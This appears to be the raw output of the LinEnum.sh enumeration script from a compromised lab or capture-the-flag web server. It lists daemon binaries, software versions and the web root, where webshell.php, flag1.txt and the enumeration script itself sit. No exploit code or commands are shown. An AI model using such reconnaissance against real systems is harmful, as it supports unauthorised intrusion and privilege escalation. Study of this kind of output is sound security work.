-rwxr-xr-x. 1 root root   196192 Jan  3  2020 /sbin/auditd
-rwxr-xr-x. 1 root root    68912 May 11  2019 /sbin/rngd
-rwxr-xr-x. 1 root root   259472 Nov  8  2019 /usr/bin/dbus-daemon
-rwxr-xr-x. 1 root root    29152 Nov  8  2019 /usr/bin/lsmd
-rwxr-xr-x. 1 root root    88896 Nov  8  2019 /usr/bin/rpcbind
-rwxr-xr-x. 1 root root   163736 Nov 11  2019 /usr/lib/polkit-1/polkitd
-rwxr-xr-x. 1 root root  2523648 Apr  9 22:52 /usr/lib/systemd/systemd
-rwxr-xr-x. 1 root root   237384 Apr  9 22:52 /usr/lib/systemd/systemd-journald
-rwxr-xr-x. 1 root root   484584 Apr  9 22:52 /usr/lib/systemd/systemd-logind
-rwxr-xr-x. 1 root root   212512 Apr  9 22:52 /usr/lib/systemd/systemd-machined
-rwxr-xr-x. 1 root root   869880 Apr  9 22:52 /usr/lib/systemd/systemd-resolved
-rwxr-xr-x. 1 root root   569392 Apr  9 22:52 /usr/lib/systemd/systemd-udevd
-rwxr-xr-x. 1 root root    57352 May 21  2019 /usr/libexec/fprintd
-rwxr-xr-x. 1 root root 25356688 Jan  8  2020 /usr/libexec/mysqld
lrwxrwxrwx. 1 root root       20 Nov 21  2019 /usr/libexec/platform-python ->
./platform-python3.6
-rwxr-xr-x. 1 root root   315208 Apr 13 18:09 /usr/libexec/sssd/sssd_be
-rwxr-xr-x. 1 root root   411320 Apr 13 18:09 /usr/libexec/sssd/sssd_nss
-rwxr-xr-x. 1 root root  7353560 Jan  3  2020 /usr/sbin/NetworkManager
-rwxr-xr-x. 1 root root    34472 May 11  2019 /usr/sbin/atd
-rwxr-xr-x. 1 root root   405568 Nov 19  2019 /usr/sbin/chronyd
-rwxr-xr-x. 1 root root    80552 Nov  8  2019 /usr/sbin/crond
-rwxr-xr-x. 1 root root   491840 Dec 13  2019 /usr/sbin/dnsmasq
-rwxr-xr-x. 1 root root   202552 Nov  8  2019 /usr/sbin/gssproxy
-rwxr-xr-x. 1 root root   736112 Dec 23  2019 /usr/sbin/httpd
-rwxr-xr-x. 1 root root    86552 Dec 13  2019 /usr/sbin/irqbalance
-rwxr-xr-x. 1 root root   599640 Apr 10 12:09 /usr/sbin/libvirtd
-rwxr-xr-x. 1 root root   241336 Nov  8  2019 /usr/sbin/mcelog
-rwxr-xr-x. 1 root root   909336 Nov  8  2019 /usr/sbin/rsyslogd
-rwxr-xr-x. 1 root root    25496 Nov  8  2019 /usr/sbin/sedispatch
-rwxr-xr-x. 1 root root   717080 May 11  2019 /usr/sbin/smartd
-rwxr-xr-x. 1 root root  1228192 Feb  4 16:01 /usr/sbin/sshd
-rwxr-xr-x. 1 root root   107992 Apr 13 18:09 /usr/sbin/sssd
```

[-] /etc/init.d/ binary permissions:

```
lrwxrwxrwx. 1 root root 11 May 11  2019 /etc/init.d -> rc.d/init.d
```

[-] /etc/rc.d/init.d binary permissions:
total 24
drwxr-xr-x. 2 root root   37 May 10 10:51 .
drwxr-xr-x. 10 root root   127 May 10 10:56 ..
-rw-r--r--. 1 root root 1161 Apr 9 22:51 README
-rw-r--r--. 1 root root 18440 Aug 23 2019 functions

[-] /lib/systemd/* config file permissions:
/lib/systemd/:
total 12M
drwxr-xr-x. 33 root root 16K May 10 11:51 system
drwxr-xr-x. 2 root root 4.0K May 9 14:53 system-generators
drwxr-xr-x. 4 root root 4.0K May 9 14:53 user
drwxr-xr-x. 2 root root   29 May 9 14:52 network
drwxr-xr-x. 2 root root   31 May 9 14:51 user-preset
drwxr-xr-x. 2 root root   48 May 9 14:51 user-environment-generators
drwxr-xr-x. 2 root root 143 May 9 14:51 system-preset
drwxr-xr-x. 2 root root 4.0K May 9 14:51 catalog
drwxr-xr-x. 2 root root   29 May 9 14:10 ntp-units.d
-rwxr-xr-x. 1 root root 5.0M Apr 9 22:52 libsystemd-shared-239.so
<SNIP>

/lib/systemd/portable/profile/trusted:
total 4.0K
-rw-r--r--. 1 root root 182 Jun 22 2018 service.conf

/lib/systemd/portable/profile/strict:
total 4.0K
-rw-r--r--. 1 root root 775 Jun 22 2018 service.conf

/lib/systemd/portable/profile/nonetwork:
total 4.0K
-rw-r--r--. 1 root root 1.1K Jun 22 2018 service.conf

/lib/systemd/portable/profile/default:
total 4.0K
-rw-r--r--. 1 root root 1.1K Jun 22 2018 service.conf

SOFTWARE
[-] Sudo version:
Sudo version 1.8.25p1

[-] MYSQL version:

mysql Ver 15.1 Distrib 10.3.17-MariaDB, for Linux (x86_64) using readline 5.1

[-] www home dir contents:
/var/www/:
total 12K
drwxr-xr-x. 4 root   root   50 May 10 11:22 .
drwxr-xr-x. 22 root   root   4.0K May 9 15:05 ..
drwxr-xr-x. 2 root   root   6 Dec 23 2019 cgi-bin
-rw-r--r--. 1 apache apache   21 May 10 11:22 flag1.txt
drwxrwxrwx. 8 apache apache 4.0K Jul 15 02:35 html

/var/www/cgi-bin:
total 0
drwxr-xr-x. 2 root root 6 Dec 23 2019 .
drwxr-xr-x. 4 root root 50 May 10 11:22 ..

/var/www/html:
total 476K
drwxrwxrwx. 8 apache apache 4.0K Jul 15 02:35 .
drwxr-xr-x. 4 root   root   50 May 10 11:22 ..
-rw-r--r--. 1 apache apache 1.1K May 10 10:25 LICENSE
-rwxrw-r-x 1 apache apache 46K Jul 15 02:30 LinEnum.sh
-rw-r--r--. 1 apache apache 3.9K May 10 10:25 README.md
drwxr-xr-x. 5 apache apache 119 May 10 10:25 _admin
-rw-r--r-- 1 apache apache 8.0K May 11 16:08 buynow.php
drwxr-xr-x. 3 apache apache   73 May 10 10:25 class
drwxr-xr-x. 2 apache apache   33 May 10 10:25 css
-rw-r--r--. 1 apache apache 1.4K May 10 10:25 gulpfile.js
drwxr-xr-x. 2 apache apache   82 May 10 10:25 img
-rw-r--r-- 1 apache apache 5.7K May 11 15:59 index.html
-rw-r--r--. 1 apache apache 195K May 10 10:25 package-lock.json
-rw-r--r--. 1 apache apache 1.2K May 10 10:25 package.json
-rw-r--r-- 1 apache apache 115K Jul 15 02:35 report-15-07-20
drwxr-xr-x. 2 apache apache   24 May 10 10:39 settings
drwxr-xr-x. 4 apache apache   37 May 10 10:25 vendor
-rw-rw-rw- 1 mysql mysql   27 Jul 15 01:54 webshell.php

/var/www/html/_admin:
total 20K
drwxr-xr-x. 5 apache apache 119 May 10 10:25 .
drwxrwxrwx. 8 apache apache 4.0K Jul 15 02:35 ..
-rw-r--r--. 1 apache apache 208 May 10 10:25 .browserslistrc
-rw-r--r--. 1 apache apache   13 May 10 10:25 .gitignore
-rw-r--r--. 1 apache apache 158 May 10 10:25 .travis.yml
-rw-r--r--. 1 apache apache 1.1K May 10 10:25 LICENSE
drwxr-xr-x. 7 apache apache 148 May 10 10:25 dist
drwxr-xr-x. 2 apache apache 259 May 10 10:25 scripts

```
drwxr-xr-x. 6 apache apache   53 May 10 10:25 src

/var/www/html/_admin/dist:
total 20K
drwxr-xr-x. 7 apache apache  148 May 10 10:25 .
drwxr-xr-x. 5 apache apache  119 May 10 10:25 ..
drwxr-xr-x. 3 apache apache  218 May 10 10:25 assets
drwxr-xr-x. 2 apache apache   24 May 10 10:25 css
-rw-r--r--. 1 apache apache 1.6K May 10 10:25 index.php
drwxr-xr-x. 2 apache apache   24 May 10 10:25 js
-rw-r--r--. 1 apache apache 3.6K May 10 10:25 login.html
-rw-r--r--. 1 apache apache   70 May 10 10:25 logout.php
-rw-r--r--. 1 apache apache  848 May 10 10:25 manage.php
drwxr-xr-x. 2 apache apache   92 May 11 15:57 templates
drwxr-xr-x. 2 apache apache 4.0K Jul 15 00:57 templates_c

/var/www/html/_admin/dist/assets:
total 1.6M
drwxr-xr-x. 3 apache apache  218 May 10 10:25 .
drwxr-xr-x. 7 apache apache  148 May 10 10:25 ..
-rw-r--r--. 1 apache apache 154K May 10 10:25 Chart.min.js
-rw-r--r--. 1 apache apache 1.2M May 10 10:25 all.min.js
-rw-r--r--. 1 apache apache  77K May 10 10:25 bootstrap.bundle.min.js
-rw-r--r--. 1 apache apache 5.1K May 10 10:25 dataTables.bootstrap4.min.css
-rw-r--r--. 1 apache apache 3.1K May 10 10:25 dataTables.bootstrap4.min.js
drwxr-xr-x. 2 apache apache   38 May 10 10:25 img
-rw-r--r--. 1 apache apache  87K May 10 10:25 jquery-3.4.1.min.js
-rw-r--r--. 1 apache apache  83K May 10 10:25 jquery.dataTables.min.js

/var/www/html/_admin/dist/assets/img:
total 8.0K
drwxr-xr-x. 2 apache apache   38 May 10 10:25 .
drwxr-xr-x. 3 apache apache  218 May 10 10:25 ..
-rw-r--r--. 1 apache apache 6.0K May 10 10:25 error-404-monochrome.svg

/var/www/html/_admin/dist/css:
total 184K
drwxr-xr-x. 2 apache apache   24 May 10 10:25 .
drwxr-xr-x. 7 apache apache  148 May 10 10:25 ..
-rw-r--r--. 1 apache apache 183K May 10 10:25 styles.css

/var/www/html/_admin/dist/js:
total 4.0K
drwxr-xr-x. 2 apache apache  24 May 10 10:25 .
drwxr-xr-x. 7 apache apache 148 May 10 10:25 ..
-rw-r--r--. 1 apache apache 805 May 10 10:25 scripts.js

/var/www/html/_admin/dist/templates:
```

```
total 20K
drwxr-xr-x. 2 apache apache   92 May 11 15:57 .
drwxr-xr-x. 7 apache apache  148 May 10 10:25 ..
-rw-r--r--. 1 apache apache 1.4K May 10 10:25 footer.tpl
-rw-r--r--. 1 apache apache 1.5K May 10 10:25 header.tpl
-rw-r--r--. 1 apache apache  787 May 10 10:25 index.tpl
-rwxr-xr-x. 1 apache apache  837 May 10 10:25 manage.tpl
-rw-r--r--. 1 apache apache 1018 May 10 10:25 nav.tpl

/var/www/html/_admin/dist/templates_c:
total 24K
drwxr-xr-x. 2 apache apache 4.0K Jul 15 00:57 .
drwxr-xr-x. 7 apache apache  148 May 10 10:25 ..
-rw-r--r--  1 apache apache 2.4K May 11 16:04
0662a60beba0fce807331e23438d31149b3e9834_0.file.footer.tpl.php
-rw-r--r--  1 apache apache 1.7K May 11 16:04
15782bc189b3aa1b259fa49ed82cd1bf0d2b4b8d_0.file.nav.tpl.php
-rw-r--r--  1 apache apache 2.2K May 11 16:04
5a984562a91df56feb1b7ec3f5dd0059ed8801cd_0.file.header.tpl.php
-rw-r--r--  1 apache apache 2.2K May 11 16:04
86dfc70c4b74f908717aa705c9b65158600caee4_0.file.index.tpl.php
-rw-r--r--  1 apache apache 2.0K Jul 15 00:57
ddebbe6f0e973be988b757b1e53eabdea73e181d_0.file.manage.tpl.php

/var/www/html/_admin/scripts:
total 48K
drwxr-xr-x. 2 apache apache  259 May 10 10:25 .
drwxr-xr-x. 5 apache apache  119 May 10 10:25 ..
-rw-r--r--. 1 apache apache   80 May 10 10:25 build-assets.js
-rw-r--r--. 1 apache apache  432 May 10 10:25 build-pug.js
-rw-r--r--. 1 apache apache   83 May 10 10:25 build-scripts.js
-rw-r--r--. 1 apache apache   75 May 10 10:25 build-scss.js
-rw-r--r--. 1 apache apache  162 May 10 10:25 clean.js
-rw-r--r--. 1 apache apache  344 May 10 10:25 render-assets.js
-rw-r--r--. 1 apache apache  884 May 10 10:25 render-pug.js
-rw-r--r--. 1 apache apache  960 May 10 10:25 render-scripts.js
-rw-r--r--. 1 apache apache 1.5K May 10 10:25 render-scss.js
-rw-r--r--. 1 apache apache 2.1K May 10 10:25 sb-watch.js
-rw-r--r--. 1 apache apache  509 May 10 10:25 start-debug.js
-rw-r--r--. 1 apache apache  542 May 10 10:25 start.js

/var/www/html/_admin/src:
total 0
drwxr-xr-x. 6 apache apache  53 May 10 10:25 .
drwxr-xr-x. 5 apache apache 119 May 10 10:25 ..
drwxr-xr-x. 4 apache apache  29 May 10 10:25 assets
drwxr-xr-x. 2 apache apache  24 May 10 10:25 js
drwxr-xr-x. 4 apache apache  34 May 10 10:25 pug
```

```
drwxr-xr-x. 5 apache apache 117 May 10 10:25 scss

/var/www/html/_admin/src/assets:
total 0
drwxr-xr-x. 4 apache apache  29 May 10 10:25 .
drwxr-xr-x. 6 apache apache  53 May 10 10:25 ..
drwxr-xr-x. 2 apache apache 108 May 10 10:25 demo
drwxr-xr-x. 2 apache apache  38 May 10 10:25 img

/var/www/html/_admin/src/assets/demo:
total 16K
drwxr-xr-x. 2 apache apache  108 May 10 10:25 .
drwxr-xr-x. 4 apache apache   29 May 10 10:25 ..
-rw-r--r--. 1 apache apache 1.5K May 10 10:25 chart-area-demo.js
-rw-r--r--. 1 apache apache 1.1K May 10 10:25 chart-bar-demo.js
-rw-r--r--. 1 apache apache  597 May 10 10:25 chart-pie-demo.js
-rw-r--r--. 1 apache apache  103 May 10 10:25 datatables-demo.js

/var/www/html/_admin/src/assets/img:
total 8.0K
drwxr-xr-x. 2 apache apache   38 May 10 10:25 .
drwxr-xr-x. 4 apache apache   29 May 10 10:25 ..
-rw-r--r--. 1 apache apache 6.0K May 10 10:25 error-404-monochrome.svg

/var/www/html/_admin/src/js:
total 4.0K
drwxr-xr-x. 2 apache apache  24 May 10 10:25 .
drwxr-xr-x. 6 apache apache  53 May 10 10:25 ..
-rw-r--r--. 1 apache apache 553 May 10 10:25 scripts.js

/var/www/html/_admin/src/pug:
total 0
drwxr-xr-x. 4 apache apache  34 May 10 10:25 .
drwxr-xr-x. 6 apache apache  53 May 10 10:25 ..
drwxr-xr-x. 3 apache apache  86 May 10 10:25 layouts
drwxr-xr-x. 3 apache apache 234 May 10 10:25 pages

/var/www/html/_admin/src/pug/layouts:
total 12K
drwxr-xr-x. 3 apache apache  86 May 10 10:25 .
drwxr-xr-x. 4 apache apache  34 May 10 10:25 ..
-rw-r--r--. 1 apache apache 576 May 10 10:25 authentication.pug
-rw-r--r--. 1 apache apache 659 May 10 10:25 dashboard.pug
-rw-r--r--. 1 apache apache 537 May 10 10:25 error.pug
drwxr-xr-x. 4 apache apache  73 May 10 10:25 includes

/var/www/html/_admin/src/pug/layouts/includes:
total 8.0K
```

```
drwxr-xr-x. 4 apache apache  73 May 10 10:25 .
drwxr-xr-x. 3 apache apache  86 May 10 10:25 ..
-rw-r--r--. 1 apache apache 367 May 10 10:25 footer.pug
drwxr-xr-x. 2 apache apache  71 May 10 10:25 head
drwxr-xr-x. 2 apache apache  43 May 10 10:25 navigation
-rw-r--r--. 1 apache apache 344 May 10 10:25 scripts.pug

/var/www/html/_admin/src/pug/layouts/includes/head:
total 16K
drwxr-xr-x. 2 apache apache  71 May 10 10:25 .
drwxr-xr-x. 4 apache apache  73 May 10 10:25 ..
-rw-r--r--. 1 apache apache  60 May 10 10:25 css.pug
-rw-r--r--. 1 apache apache 112 May 10 10:25 icons.pug
-rw-r--r--. 1 apache apache 263 May 10 10:25 meta.pug
-rw-r--r--. 1 apache apache  30 May 10 10:25 title.pug

/var/www/html/_admin/src/pug/layouts/includes/navigation:
total 8.0K
drwxr-xr-x. 2 apache apache   43 May 10 10:25 .
drwxr-xr-x. 4 apache apache   73 May 10 10:25 ..
-rw-r--r--. 1 apache apache 3.4K May 10 10:25 sidenav.pug
-rw-r--r--. 1 apache apache 1012 May 10 10:25 topnav.pug

/var/www/html/_admin/src/pug/pages:
total 44K
drwxr-xr-x. 3 apache apache  234 May 10 10:25 .
drwxr-xr-x. 4 apache apache   34 May 10 10:25 ..
-rw-r--r--. 1 apache apache  421 May 10 10:25 401.pug
-rw-r--r--. 1 apache apache  445 May 10 10:25 404.pug
-rw-r--r--. 1 apache apache  373 May 10 10:25 500.pug
-rw-r--r--. 1 apache apache 1.9K May 10 10:25 charts.pug
drwxr-xr-x. 2 apache apache   50 May 10 10:25 includes
-rw-r--r--. 1 apache apache 3.4K May 10 10:25 index.pug
-rw-r--r--. 1 apache apache  599 May 10 10:25 layout-sidenav-light.pug
-rw-r--r--. 1 apache apache  769 May 10 10:25 layout-static.pug
-rw-r--r--. 1 apache apache 1.6K May 10 10:25 login.pug
-rw-r--r--. 1 apache apache 1.2K May 10 10:25 password.pug
-rw-r--r--. 1 apache apache 2.2K May 10 10:25 register.pug
-rw-r--r--. 1 apache apache 1.2K May 10 10:25 tables.pug

/var/www/html/_admin/src/pug/pages/includes:
total 16K
drwxr-xr-x. 2 apache apache   50 May 10 10:25 .
drwxr-xr-x. 3 apache apache  234 May 10 10:25 ..
-rw-r--r--. 1 apache apache 8.2K May 10 10:25 datatable.pug
-rw-r--r--. 1 apache apache  245 May 10 10:25 page-header.pug

/var/www/html/_admin/src/scss:
```

```
total 12K
drwxr-xr-x. 5 apache apache 117 May 10 10:25 .
drwxr-xr-x. 6 apache apache  53 May 10 10:25 ..
-rw-r--r--. 1 apache apache 223 May 10 10:25 _global.scss
-rw-r--r--. 1 apache apache 269 May 10 10:25 _variables.scss
drwxr-xr-x. 2 apache apache 113 May 10 10:25 layout
drwxr-xr-x. 3 apache apache  58 May 10 10:25 navigation
-rw-r--r--. 1 apache apache 539 May 10 10:25 styles.scss
drwxr-xr-x. 2 apache apache  51 May 10 10:25 variables

/var/www/html/_admin/src/scss/layout:
total 16K
drwxr-xr-x. 2 apache apache  113 May 10 10:25 .
drwxr-xr-x. 5 apache apache  117 May 10 10:25 ..
-rw-r--r--. 1 apache apache  219 May 10 10:25 _authentication.scss
-rw-r--r--. 1 apache apache 2.0K May 10 10:25 _dashboard-default.scss
-rw-r--r--. 1 apache apache  500 May 10 10:25 _dashboard-fixed.scss
-rw-r--r--. 1 apache apache  230 May 10 10:25 _error.scss

/var/www/html/_admin/src/scss/navigation:
total 8.0K
drwxr-xr-x. 3 apache apache  58 May 10 10:25 .
drwxr-xr-x. 5 apache apache 117 May 10 10:25 ..
-rw-r--r--. 1 apache apache 136 May 10 10:25 _nav.scss
-rw-r--r--. 1 apache apache 474 May 10 10:25 _topnav.scss
drwxr-xr-x. 2 apache apache  80 May 10 10:25 sidenav

/var/www/html/_admin/src/scss/navigation/sidenav:
total 12K
drwxr-xr-x. 2 apache apache   80 May 10 10:25 .
drwxr-xr-x. 3 apache apache   58 May 10 10:25 ..
-rw-r--r--. 1 apache apache  796 May 10 10:25 _sidenav-dark.scss
-rw-r--r--. 1 apache apache  809 May 10 10:25 _sidenav-light.scss
-rw-r--r--. 1 apache apache 1.1K May 10 10:25 _sidenav.scss

/var/www/html/_admin/src/scss/variables:
total 8.0K
drwxr-xr-x. 2 apache apache  51 May 10 10:25 .
drwxr-xr-x. 5 apache apache 117 May 10 10:25 ..
-rw-r--r--. 1 apache apache 893 May 10 10:25 _navigation.scss
-rw-r--r--. 1 apache apache 180 May 10 10:25 _spacing.scss

/var/www/html/class:
total 16K
drwxr-xr-x. 3 apache apache   73 May 10 10:25 .
drwxrwxrwx. 8 apache apache 4.0K Jul 15 02:35 ..
-rw-r--r--. 1 apache apache 1.5K May 10 10:25 database.php
-rw-r--r--. 1 apache apache 1.7K May 10 10:25 order.php
```

```
drwxr-xr-x. 4 apache apache  149 May 10 10:25 smarty
-rw-r--r--. 1 apache apache 1.2K May 10 10:25 user.php

/var/www/html/class/smarty:
total 92K
drwxr-xr-x. 4 apache apache  149 May 10 10:25 .
drwxr-xr-x. 3 apache apache   73 May 10 10:25 ..
-rw-r--r--. 1 apache apache 3.1K May 10 10:25 Autoloader.php
-rw-r--r--. 1 apache apache  38K May 10 10:25 Smarty.class.php
-rw-r--r--. 1 apache apache  13K May 10 10:25 SmartyBC.class.php
-rw-r--r--. 1 apache apache  417 May 10 10:25 bootstrap.php
-rw-r--r--. 1 apache apache 5.0K May 10 10:25 debug.tpl
drwxr-xr-x. 2 apache apache 4.0K May 10 10:25 plugins
drwxr-xr-x. 2 apache apache  12K May 10 10:25 sysplugins

/var/www/html/class/smarty/plugins:
total 272K
drwxr-xr-x. 2 apache apache 4.0K May 10 10:25 .
drwxr-xr-x. 4 apache apache  149 May 10 10:25 ..
-rw-r--r--. 1 apache apache 3.6K May 10 10:25 block.textformat.php
-rw-r--r--. 1 apache apache 1.8K May 10 10:25 function.counter.php
-rw-r--r--. 1 apache apache 3.3K May 10 10:25 function.cycle.php
-rw-r--r--. 1 apache apache 7.9K May 10 10:25 function.fetch.php
-rw-r--r--. 1 apache apache 9.4K May 10 10:25 function.html_checkboxes.php
-rw-r--r--. 1 apache apache 5.6K May 10 10:25 function.html_image.php
-rw-r--r--. 1 apache apache 8.1K May 10 10:25 function.html_options.php
-rw-r--r--. 1 apache apache 8.3K May 10 10:25 function.html_radios.php
-rw-r--r--. 1 apache apache  15K May 10 10:25 function.html_select_date.php
-rw-r--r--. 1 apache apache  15K May 10 10:25 function.html_select_time.php
-rw-r--r--. 1 apache apache 5.3K May 10 10:25 function.html_table.php
-rw-r--r--. 1 apache apache 5.3K May 10 10:25 function.mailto.php
-rw-r--r--. 1 apache apache 3.7K May 10 10:25 function.math.php
-rw-r--r--. 1 apache apache 4.2K May 10 10:25 modifier.capitalize.php
-rw-r--r--. 1 apache apache 2.7K May 10 10:25 modifier.date_format.php
-rw-r--r--. 1 apache apache 3.9K May 10 10:25 modifier.debug_print_var.php
-rw-r--r--. 1 apache apache 9.5K May 10 10:25 modifier.escape.php
-rw-r--r--. 1 apache apache 2.3K May 10 10:25 modifier.mb_wordwrap.php
-rw-r--r--. 1 apache apache 1.7K May 10 10:25 modifier.regex_replace.php
-rw-r--r--. 1 apache apache  999 May 10 10:25 modifier.replace.php
-rw-r--r--. 1 apache apache  756 May 10 10:25 modifier.spacify.php
-rw-r--r--. 1 apache apache 2.2K May 10 10:25 modifier.truncate.php
-rw-r--r--. 1 apache apache  612 May 10 10:25 modifiercompiler.cat.php
-rw-r--r--. 1 apache apache  918 May 10 10:25 modifiercompiler.count_characters.php
-rw-r--r--. 1 apache apache  659 May 10 10:25 modifiercompiler.count_paragraphs.php
-rw-r--r--. 1 apache apache  745 May 10 10:25 modifiercompiler.count_sentences.php
-rw-r--r--. 1 apache apache  979 May 10 10:25 modifiercompiler.count_words.php
-rw-r--r--. 1 apache apache  770 May 10 10:25 modifiercompiler.default.php
-rw-r--r--. 1 apache apache 5.1K May 10 10:25 modifiercompiler.escape.php
```

-rw-r--r--. 1 apache apache 752 May 10 10:25 modifiercompiler.from_charset.php
-rw-r--r--. 1 apache apache 712 May 10 10:25 modifiercompiler.indent.php
-rw-r--r--. 1 apache apache 724 May 10 10:25 modifiercompiler.lower.php
-rw-r--r--. 1 apache apache 340 May 10 10:25 modifiercompiler.noprint.php
-rw-r--r--. 1 apache apache 574 May 10 10:25 modifiercompiler.string_format.php
-rw-r--r--. 1 apache apache 798 May 10 10:25 modifiercompiler.strip.php
-rw-r--r--. 1 apache apache 720 May 10 10:25 modifiercompiler.strip_tags.php
-rw-r--r--. 1 apache apache 746 May 10 10:25 modifiercompiler.to_charset.php
-rw-r--r--. 1 apache apache 1.2K May 10 10:25 modifiercompiler.unescape.php
-rw-r--r--. 1 apache apache 678 May 10 10:25 modifiercompiler.upper.php
-rw-r--r--. 1 apache apache 1.1K May 10 10:25 modifiercompiler.wordwrap.php
-rw-r--r--. 1 apache apache 3.7K May 10 10:25 outputfilter.trimwhitespace.php
-rw-r--r--. 1 apache apache 977 May 10 10:25 shared.escape_special_chars.php
-rw-r--r--. 1 apache apache 1.1K May 10 10:25 shared.literal_compiler_param.php
-rw-r--r--. 1 apache apache 1.5K May 10 10:25 shared.make_timestamp.php
-rw-r--r--. 1 apache apache 1.8K May 10 10:25 shared.mb_str_replace.php
-rw-r--r--. 1 apache apache 1.5K May 10 10:25 shared.mb_unicode.php
-rw-r--r--. 1 apache apache 451 May 10 10:25 variablefilter.htmlspecialchars.php

/var/www/html/class/smarty/sysplugins:
total 1.3M
drwxr-xr-x. 2 apache apache 12K May 10 10:25 .
drwxr-xr-x. 4 apache apache 149 May 10 10:25 ..
-rw-r--r--. 1 apache apache 6.5K May 10 10:25 smarty_cacheresource.php
-rw-r--r--. 1 apache apache 9.7K May 10 10:25 smarty_cacheresource_custom.php
-rw-r--r--. 1 apache apache 18K May 10 10:25 smarty_cacheresource_keyvaluestore.php
-rw-r--r--. 1 apache apache 1.7K May 10 10:25 smarty_data.php
-rw-r--r--. 1 apache apache 1.6K May 10 10:25 smarty_internal_block.php
-rw-r--r--. 1 apache apache 8.1K May 10 10:25 smarty_internal_cacheresource_file.php
-rw-r--r--. 1 apache apache 1.8K May 10 10:25 smarty_internal_compile_append.php
-rw-r--r--. 1 apache apache 3.4K May 10 10:25 smarty_internal_compile_assign.php
-rw-r--r--. 1 apache apache 7.6K May 10 10:25 smarty_internal_compile_block.php
-rw-r--r--. 1 apache apache 485 May 10 10:25 smarty_internal_compile_block_child.php
-rw-r--r--. 1 apache apache 583 May 10 10:25 smarty_internal_compile_block_parent.php
-rw-r--r--. 1 apache apache 3.8K May 10 10:25 smarty_internal_compile_break.php
-rw-r--r--. 1 apache apache 2.9K May 10 10:25 smarty_internal_compile_call.php
-rw-r--r--. 1 apache apache 3.6K May 10 10:25 smarty_internal_compile_capture.php
-rw-r--r--. 1 apache apache 2.5K May 10 10:25 smarty_internal_compile_child.php
-rw-r--r--. 1 apache apache 2.7K May 10 10:25 smarty_internal_compile_config_load.php
-rw-r--r--. 1 apache apache 437 May 10 10:25 smarty_internal_compile_continue.php
-rw-r--r--. 1 apache apache 1.1K May 10 10:25 smarty_internal_compile_debug.php
-rw-r--r--. 1 apache apache 1.9K May 10 10:25 smarty_internal_compile_eval.php
-rw-r--r--. 1 apache apache 5.3K May 10 10:25 smarty_internal_compile_extends.php
-rw-r--r--. 1 apache apache 6.6K May 10 10:25 smarty_internal_compile_for.php
-rw-r--r--. 1 apache apache 12K May 10 10:25 smarty_internal_compile_foreach.php
-rw-r--r--. 1 apache apache 9.6K May 10 10:25 smarty_internal_compile_function.php
-rw-r--r--. 1 apache apache 8.2K May 10 10:25 smarty_internal_compile_if.php
-rw-r--r--. 1 apache apache 15K May 10 10:25 smarty_internal_compile_include.php

-rw-r--r--. 1 apache apache 3.5K May 10 10:25 smarty_internal_compile_include_php.php
-rw-r--r--. 1 apache apache 5.9K May 10 10:25 smarty_internal_compile_insert.php
-rw-r--r--. 1 apache apache 1.1K May 10 10:25 smarty_internal_compile_ldelim.php
-rw-r--r--. 1 apache apache 1.7K May 10 10:25 smarty_internal_compile_make_nocache.php
-rw-r--r--. 1 apache apache 2.1K May 10 10:25 smarty_internal_compile_nocache.php
-rw-r--r--. 1 apache apache 565 May 10 10:25 smarty_internal_compile_parent.php
-rw-r--r--. 1 apache apache 5.0K May 10 10:25
smarty_internal_compile_private_block_plugin.php
-rw-r--r--. 1 apache apache 7.0K May 10 10:25
smarty_internal_compile_private_foreachsection.php
-rw-r--r--. 1 apache apache 2.5K May 10 10:25
smarty_internal_compile_private_function_plugin.php
-rw-r--r--. 1 apache apache 7.9K May 10 10:25
smarty_internal_compile_private_modifier.php
-rw-r--r--. 1 apache apache 1.4K May 10 10:25
smarty_internal_compile_private_object_block_function.php
-rw-r--r--. 1 apache apache 3.2K May 10 10:25
smarty_internal_compile_private_object_function.php
-rw-r--r--. 1 apache apache 9.7K May 10 10:25 smarty_internal_compile_private_php.php
-rw-r--r--. 1 apache apache 6.6K May 10 10:25
smarty_internal_compile_private_print_expression.php
-rw-r--r--. 1 apache apache 3.0K May 10 10:25
smarty_internal_compile_private_registered_block.php
-rw-r--r--. 1 apache apache 3.4K May 10 10:25
smarty_internal_compile_private_registered_function.php
-rw-r--r--. 1 apache apache 5.5K May 10 10:25
smarty_internal_compile_private_special_variable.php
-rw-r--r--. 1 apache apache 902 May 10 10:25 smarty_internal_compile_rdelim.php
-rw-r--r--. 1 apache apache 18K May 10 10:25 smarty_internal_compile_section.php
-rw-r--r--. 1 apache apache 2.2K May 10 10:25 smarty_internal_compile_setfilter.php
-rw-r--r--. 1 apache apache 1.8K May 10 10:25
smarty_internal_compile_shared_inheritance.php
-rw-r--r--. 1 apache apache 3.8K May 10 10:25 smarty_internal_compile_while.php
-rw-r--r--. 1 apache apache 7.0K May 10 10:25 smarty_internal_compilebase.php
-rw-r--r--. 1 apache apache 6.4K May 10 10:25 smarty_internal_config_file_compiler.php
-rw-r--r--. 1 apache apache 25K May 10 10:25 smarty_internal_configfilelexer.php
-rw-r--r--. 1 apache apache 34K May 10 10:25 smarty_internal_configfileparser.php
-rw-r--r--. 1 apache apache 8.8K May 10 10:25 smarty_internal_data.php
-rw-r--r--. 1 apache apache 16K May 10 10:25 smarty_internal_debug.php
-rw-r--r--. 1 apache apache 4.3K May 10 10:25 smarty_internal_errorhandler.php
-rw-r--r--. 1 apache apache 8.1K May 10 10:25 smarty_internal_extension_handler.php
-rw-r--r--. 1 apache apache 2.2K May 10 10:25
smarty_internal_method_addautoloadfilters.php
-rw-r--r--. 1 apache apache 1.2K May 10 10:25
smarty_internal_method_adddefaultmodifiers.php
-rw-r--r--. 1 apache apache 2.8K May 10 10:25 smarty_internal_method_append.php
-rw-r--r--. 1 apache apache 1.8K May 10 10:25 smarty_internal_method_appendbyref.php
-rw-r--r--. 1 apache apache 1.3K May 10 10:25 smarty_internal_method_assignbyref.php

-rw-r--r--. 1 apache apache 1.4K May 10 10:25 smarty_internal_method_assignglobal.php
-rw-r--r--. 1 apache apache 778 May 10 10:25 smarty_internal_method_clearallassign.php
-rw-r--r--. 1 apache apache 994 May 10 10:25 smarty_internal_method_clearallcache.php
-rw-r--r--. 1 apache apache 1.1K May 10 10:25 smarty_internal_method_clearassign.php
-rw-r--r--. 1 apache apache 1.3K May 10 10:25 smarty_internal_method_clearcache.php
-rw-r--r--. 1 apache apache 5.6K May 10 10:25
smarty_internal_method_clearcompiledtemplate.php
-rw-r--r--. 1 apache apache 977 May 10 10:25 smarty_internal_method_clearconfig.php
-rw-r--r--. 1 apache apache 964 May 10 10:25
smarty_internal_method_compileallconfig.php
